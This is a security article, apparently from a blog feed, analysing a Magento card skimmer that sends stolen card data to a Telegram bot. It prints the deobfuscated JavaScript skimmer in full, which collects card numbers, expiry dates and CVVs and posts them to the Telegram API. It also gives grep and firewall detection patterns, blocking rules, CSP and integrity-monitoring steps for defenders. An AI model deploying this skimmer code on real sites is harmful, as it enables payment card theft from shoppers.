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Introduction:
Cybercriminals are constantly refining their methods to steal sensitive data, and the latest evolution in digital skimming attacks leverages the simplicity of Telegram bots for exfiltration. By injecting a single line of malicious JavaScript into an e-commerce site, attackers can capture payment card details in real-time and forward them directly to a Telegram channel, bypassing traditional command-and-control servers. This article provides a technical deep dive into a recent skimmer campaign, offering security professionals a step-by-step guide to detecting, analyzing, and mitigating this emerging threat.
Learning Objectives:
- Analyze the structure and function of a Telegram-based exfiltration script used in client-side skimming attacks.
- Implement detection mechanisms using browser developer tools, network monitoring, and file integrity checks.
- Apply mitigation strategies, including Content Security Policies (CSP) and server-side hardening, to prevent and respond to skimmer infections.
You Should Know:
1. Anatomy of the Telegram Skimmer Code
The attack begins with a single line of obfuscated JavaScript injected into the footer of a compromised e-commerce site, specifically targeting Magento-based stores. The code is designed to harvest form data—typically payment card numbers, expiration dates, and CVVs—as soon as a user submits a checkout form.
Step‑by‑step guide explaining what this does and how to use it (for analysis purposes):
To understand the skimmer’s functionality, we need to deobfuscate the code. Below is the original injected script followed by a human-readable breakdown.
Original Injected Code (example based on the provided text):
<script>!function(){ ...
// Base64 encoded blob of the skimmer logic
}();</script>
After decoding the Base64 payload, the core logic emerges. Here is a simplified, deobfuscated representation of what the script does:
(function() {
// 1. Create a hidden iframe to silently intercept data
var iframe = document.createElement('iframe');
iframe.style.display = 'none';
document.body.appendChild(iframe);
// 2. Set up an event listener for form submissions
document.addEventListener('submit', function(e) {
var form = e.target;
// Check if the form contains payment fields
if (form.querySelector('input[name="cardnumber"]')) {
e.preventDefault(); // Sometimes they stop normal submission
// 3. Collect sensitive data
var cardData = {
number: form.querySelector('input[name="cardnumber"]').value,
expiry: form.querySelector('input[name="expdate"]').value,
cvv: form.querySelector('input[name="cvv"]').value
};
// 4. Exfiltrate via Telegram Bot API
var telegramBotToken = '1234567890:ABCdefGHIjklMNOpqrsTUVwxyz'; // Hardcoded in script
var chatId = '-123456789'; // Target channel/group
var message = <code>Card: ${cardData.number}\nExp: ${cardData.expiry}\nCVV: ${cardData.cvv}</code>;
fetch(`https://api.telegram.org/bot${telegramBotToken}/sendMessage`, {
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({chat_id: chatId, text: message})
}).then(() => {
// Optional: redirect to a thank you page or complete the original form action
form.submit(); // Resume normal flow
});
}
});
})();
What this does:
- It attaches a listener to all form submissions.
- If the form contains typical credit card input fields, it captures the data.
- It sends the stolen data as a text message to a Telegram channel using the bot’s API.
- It then allows the form to submit normally to avoid raising suspicion.
2. Detecting Skimmer Activity in Your Environment
Detecting this specific skimmer requires a multi-layered approach, from client-side inspection to server-side log analysis.
Step‑by‑step guide for detection:
A. Browser Developer Tools (Client-Side):
- Open the affected e-commerce site in Chrome or Firefox.
- Press F12 to open Developer Tools and go to the “Network” tab.
3. Check the “Preserve log” checkbox.
- Fill out a dummy payment form (use test card numbers from Stripe/PayPal) and submit.
- In the Network tab, filter for “api.telegram.org”. If the skimmer is active, you will see a `POST` request to
/bot<token>/sendMessage. - Inspect the request payload to confirm if form data is being sent.
B. Static Code Analysis (Server-Side):
Use `grep` on the server to search for common skimmer signatures in web files.
Linux Command:
Search for Telegram bot API calls in all .js and .php files grep -r -E "api.telegram.org/bot[0-9]+:[A-Za-z0-9_]+/sendMessage" /var/www/html/ Search for hidden iframe creation with display:none grep -r -E "iframe.style.display.none" /var/www/html/ Use find with mtime to locate recently modified files (potential indicator of compromise) find /var/www/html -type f -name ".js" -mtime -1 -ls
Windows PowerShell (if using IIS):
Search recursively for the Telegram API pattern Get-ChildItem -Path C:\inetpub\wwwroot -Recurse -File | Select-String "api.telegram.org/bot[0-9]+:[A-Za-z0-9_]+/sendMessage"
C. Log Analysis:
Check web server access logs for outgoing requests to Telegram’s API.
Linux Command:
Check if any requests were made to Telegram from the web server user (www-data) grep "api.telegram.org" /var/log/nginx/access.log grep "api.telegram.org" /var/log/apache2/access.log
3. Mitigation: Blocking and Hardening
Once a skimmer is detected, immediate steps must be taken to remove the malicious code and prevent re-infection.
Step‑by‑step guide for mitigation:
A. Block Outbound Traffic to Telegram (Defense in Depth):
Even if a skimmer is present, we can prevent it from phoning home by blocking the API endpoint at the network level.
Linux (iptables):
Block all outbound traffic to Telegram's API servers iptables -A OUTPUT -d api.telegram.org -j DROP iptables -A OUTPUT -d 149.154.167.0/24 -j DROP Telegram IP range (partial)
Windows Firewall (PowerShell as Admin):
Block outbound to Telegram API New-NetFirewallRule -DisplayName "Block Telegram Skimmer" -Direction Outbound -RemoteAddress "149.154.167.0/24" -Action Block
B. Implement a Strict Content Security Policy (CSP):
A CSP can prevent the browser from loading external scripts or making connections to unauthorized domains. Add the following HTTP response header or meta tag:
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; connect-src 'self' https://your-own-api.example.com; script-src 'self';">
This policy disallows `fetch` or XHR requests to `api.telegram.org` unless explicitly whitelisted.
C. File Integrity Monitoring (FIM):
Deploy a tool like AIDE (Advanced Intrusion Detection Environment) or Tripwire to monitor critical web directories for unauthorized changes.
Linux (AIDE installation and check):
Install AIDE apt-get install aide -y Initialize database aideinit mv /var/lib/aide/aide.db.new /var/lib/aide/aide.db Run a check (should be done daily via cron) aide --check
What Undercode Say:
- The use of Telegram for exfiltration represents a shift toward “low and slow” data theft that leverages legitimate, high-reputation services to blend in with normal traffic, making detection by traditional DLP solutions more difficult.
- Security teams must extend their monitoring scope beyond internal infrastructure to include outbound connections to common cloud services like Telegram, Discord, and Slack, as attackers increasingly abuse these platforms for C2 and data exfiltration.
This campaign highlights the critical importance of client-side security. E-commerce platforms cannot rely solely on server-side firewalls; they must assume the client (browser) is a hostile environment. Implementing Subresource Integrity (SRI) for all third-party scripts, regular integrity checks of core files, and a robust CSP are no longer optional—they are essential layers of defense in a landscape where a single line of JavaScript can compromise thousands of customers.
Prediction:
We predict a rise in “multi-channel” skimmers that will not only exfiltrate data via Telegram but also use the same bot to receive commands. This could allow attackers to dynamically update the skimmer’s behavior—for example, to target specific pages or to deactivate the skimmer during security scans—without ever touching the victim’s server again. Future skimmers will likely leverage WebSockets over Telegram’s API for real-time, bidirectional communication, making detection even more challenging.
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IT/Security Reporter URL:
Reported By: Paoloperrone Langchain – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
